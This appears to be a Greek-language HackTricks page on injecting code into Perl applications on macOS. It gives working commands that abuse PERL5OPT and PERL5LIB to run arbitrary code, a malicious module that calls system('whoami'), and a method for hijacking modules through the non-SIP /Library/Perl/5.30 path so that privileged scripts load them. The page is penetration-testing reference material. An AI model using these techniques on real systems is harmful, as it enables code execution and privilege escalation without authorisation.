macOS Perl Applications Injection

Υποστηρίξτε το HackTricks

Μέσω των μεταβλητών περιβάλλοντος PERL5OPT & PERL5LIB

Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος PERL5OPT είναι δυνατή η εκτέλεση αυθαίρετων εντολών από το perl. Για παράδειγμα, δημιουργήστε αυτό το σενάριο:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Τώρα εξαγάγετε τη μεταβλητή περιβάλλοντος και εκτελέστε το σενάριο perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Μια άλλη επιλογή είναι να δημιουργήσετε ένα Perl module (π.χ. /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές περιβάλλοντος:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Μέσω εξαρτήσεων

Είναι δυνατόν να αναφέρουμε τη σειρά του φακέλου εξαρτήσεων του Perl που εκτελείται:

perl -e 'print join("\n", @INC)'

Που θα επιστρέψει κάτι σαν:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Μερικοί από τους φακέλους που επιστρέφονται δεν υπάρχουν καν, ωστόσο, το /Library/Perl/5.30 υπάρχει, δεν είναι προστατευμένο από το SIP και βρίσκεται πριν από τους φακέλους που προστατεύονται από το SIP. Συνεπώς, κάποιος θα μπορούσε να εκμεταλλευτεί αυτόν τον φάκελο για να προσθέσει εξαρτήσεις σε scripts εκεί, έτσι ώστε ένα Perl script υψηλής προνομιακής πρόσβασης να τις φορτώσει.

Ωστόσο, σημειώστε ότι χρειάζεστε δικαιώματα ρίζας για να γράψετε σε αυτόν τον φάκελο και σήμερα θα λάβετε αυτό το TCC prompt:

Για παράδειγμα, αν ένα script εισάγει το use File::Basename; θα ήταν δυνατόν να δημιουργηθεί το /Library/Perl/5.30/File/Basename.pm για να εκτελέσει αυθαίρετο κώδικα.

Αναφορές

Last updated